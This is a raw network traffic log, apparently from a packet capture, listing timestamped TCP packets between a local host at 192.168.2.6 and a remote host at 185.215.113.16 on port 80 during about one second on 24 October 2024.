Oct 24, 2024 18:08:18.859939098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.859968901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.859991074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860023975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860037088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.860039949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860057116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860076904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860090017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860100031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.860100031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.860132933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.860184908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860202074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860217094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860239029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.860240936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.860285044 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.900698900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.900748968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.900789022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.900816917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.900824070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.900860071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.900896072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.900908947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.900939941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.901010990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.901209116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.901262999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.904061079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.910645008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910701990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910736084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910769939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910783052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.910806894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.910806894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910840988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910876036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910882950 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.910908937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910943985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.910972118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.910976887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.911011934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.911034107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.931162119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.936875105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.936933041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.936943054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.936980009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937014103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937025070 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937050104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937083006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937094927 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937118053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937151909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937155962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937186003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937220097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937254906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937278032 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937287092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937299013 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937410116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937457085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937463999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937504053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937536955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937571049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937582970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937603951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937625885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937638044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937669992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937683105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937704086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937736988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937767029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.937771082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937810898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.937814951 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938119888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938165903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938237906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938292980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938327074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938340902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938360929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938394070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938414097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938429117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938469887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938697100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938750982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938803911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938837051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938848972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938872099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938904047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938910961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938937902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.938947916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.938971043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.939006090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.939014912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.939040899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.939115047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.939394951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.939429045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.939462900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.939505100 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.979326010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979350090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979376078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.979377985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979396105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979408979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979414940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.979424953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979441881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979448080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.979460001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979479074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.979505062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979532003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979546070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.979557037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.979593992 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.979980946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.980052948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.980089903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.980134964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.980143070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.980180025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.980185032 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.980211020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.980245113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.019999027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020034075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020067930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020080090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020136118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020178080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020225048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020257950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020291090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020303011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020324945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020359039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020365953 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020392895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020431042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020443916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020767927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020806074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020807028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020859003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020891905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020900011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020925045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.020966053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.020977020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021009922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021044016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021049976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021075964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021109104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021111965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021142006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021174908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021181107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021209002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021245003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021375895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021409035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021441936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021446943 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021473885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021507025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021511078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021542072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021584988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021749020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021780968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021814108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021820068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.021908045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021940947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021975040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.021977901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.022007942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022042036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022043943 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.022078991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.022192001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022224903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022258043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022260904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.022527933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022566080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.022577047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022610903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022643089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022680998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.022753000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022787094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022819996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.022825003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.022855997 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.024249077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.024363995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.024403095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.025747061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.025800943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.025844097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.025852919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.025886059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.025918961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.025924921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.025950909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.025990963 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.056729078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.056763887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.056797028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.056808949 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057135105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057177067 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057184935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057218075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057257891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057267904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057301044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057332039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057342052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057379007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057413101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057421923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057446003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057478905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057483912 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057507038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057538986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057547092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057590961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057621002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057631016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.057674885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057702065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.057714939 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.098778963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.098834038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.098850965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.098869085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.098901987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.098911047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.098954916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.098997116 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.099004984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099040031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099071026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099076986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.099126101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099158049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099190950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099224091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099236965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.099236965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.099258900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.099298000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.139735937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.139791012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.139825106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.139833927 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.139858961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.139893055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.139898062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.139925003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.139957905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.139964104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.139991999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140036106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.140160084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140192986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140223980 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.140443087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140495062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140527964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140569925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.140588045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140645027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140676975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.140697002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140733004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140765905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.140784025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140816927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140850067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140857935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.140881062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.140885115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140918016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.140968084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141004086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141019106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141051054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141088963 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141102076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141129971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141169071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141179085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141220093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141232014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141264915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141309023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141316891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141386032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141426086 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141437054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141469955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141504049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141511917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141541958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141582012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141590118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141657114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141690016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141694069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:19.141722918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141756058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:19.141788006 CEST	80	49744	185.215.113.16	192.168.2.6
